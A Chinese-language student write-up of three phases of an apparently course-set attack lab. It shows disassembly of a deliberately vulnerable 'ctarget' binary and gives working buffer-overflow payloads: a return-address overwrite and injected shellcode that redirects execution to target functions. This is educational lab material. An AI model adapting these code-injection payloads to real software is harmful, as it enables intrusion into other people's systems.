前言
这个实验只做前三个,后几个不太想做了
实验
phase1
与上一个实验,相同,首先利用objdump -d ctarget ctarget.txt 生成其纯汇编文件,方便观察
void test() {
int val;
val = getbuf();
printf("NO explit. Getbuf returned 0x%x\n", val);
}
void touch1() {
vlevel = 1;
printf("Touch!: You called touch1()\n");
validate(1);
exit(0);
}
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff call 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 call 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff call 400e40 <exit@plt>
第一阶段不需要注入代码,题目要求不需要返回到test 而是返回到touch1 去执行,观察getbuf 函数,可以知道缓冲区一共是0x28=40字节大小,考虑到ret 操作是pop %rip ,需要使touch1 执行,只需利用缓冲区溢出将touch1 函数的地址覆盖掉原来的在调用getbuf 时入栈的地址即可,于是可以得到
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
c0 17 40 00
phase2
void touch2(unsigned val){
vlevel = 2;
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
一样是让getbuf 函数不返回到test 函数中去,而是返回到touch2 中去执行,并且需要执行正确,可以看到这次的函数有参数,可以知道一个参数是由寄存器%rdi 传递的,其中传递的参数需要与cookie 相等 于是可以得到注入代码
mov $0x59b997fa,%rdi
pushq $0x4017ec
retq
利用gcc -c xx.s 得到其二进制文件,再利用objdump -d xx.s xx.txt 得到其汇编代码对应的机器码 同时还需要考虑的一个问题就是从哪个地方执行这些代码,你将这些代码注入的时候是肯定不会执行的,需要等退出getbuf 函数后根据%rip 才会执行,并且%rip 寄存器是从低地址到高地址执行的,毕竟其本质上是+1 操作,考虑到进入一个函数会把当前的ip 地址压入栈中,然后返回的时候又恢复,同时又考虑到进入一个函数就会开辟一个缓冲区,于是可以通过缓冲区溢出把压入的那个ip 地址改为进入getbuf 函数后%rsp 的地址,这样就可以当getbuf 函数返回的时候跳转到getbuf 缓冲区的低地址上,然后从这个低地址开始执行,如果把代码注入到这个低地址之后就可以执行了。
p2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 push $0x4017ec
c: c3 ret
于是可以得到其结果如下:
48 c7 c7 fa
97 b9 59 68
ec 17 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55
phase3
int hexmatch(unsigned val, char *sval){
char cbuf[110];
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval){
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
第三关是注入字符串,既然是注入字符串的毫无疑问是需要作为参数的是其字符串的地址了,于是我们需要考虑把字符串的地址放在那个地方,仔细观察可以看到touch2 函数中还会调用其他的函数,也就是会又缓冲区覆盖,所以这个字符串的地址是肯定不能乱放的,既然如此就考虑放在test 函数的缓冲区上,这样肯定不能被覆盖掉的,于是可以得到
mov $0x5561dca8,%rdi
pushq $0x4018fa
retq
如同第二关一样得到其机器码
p3.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 push $0x4018fa
c: c3 ret
得到
48 c7 c7 a8
dc 61 55 68
fa 18 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55
00 00 00 00
35 39 62 39
39 37 66 61
00 00 00 00
|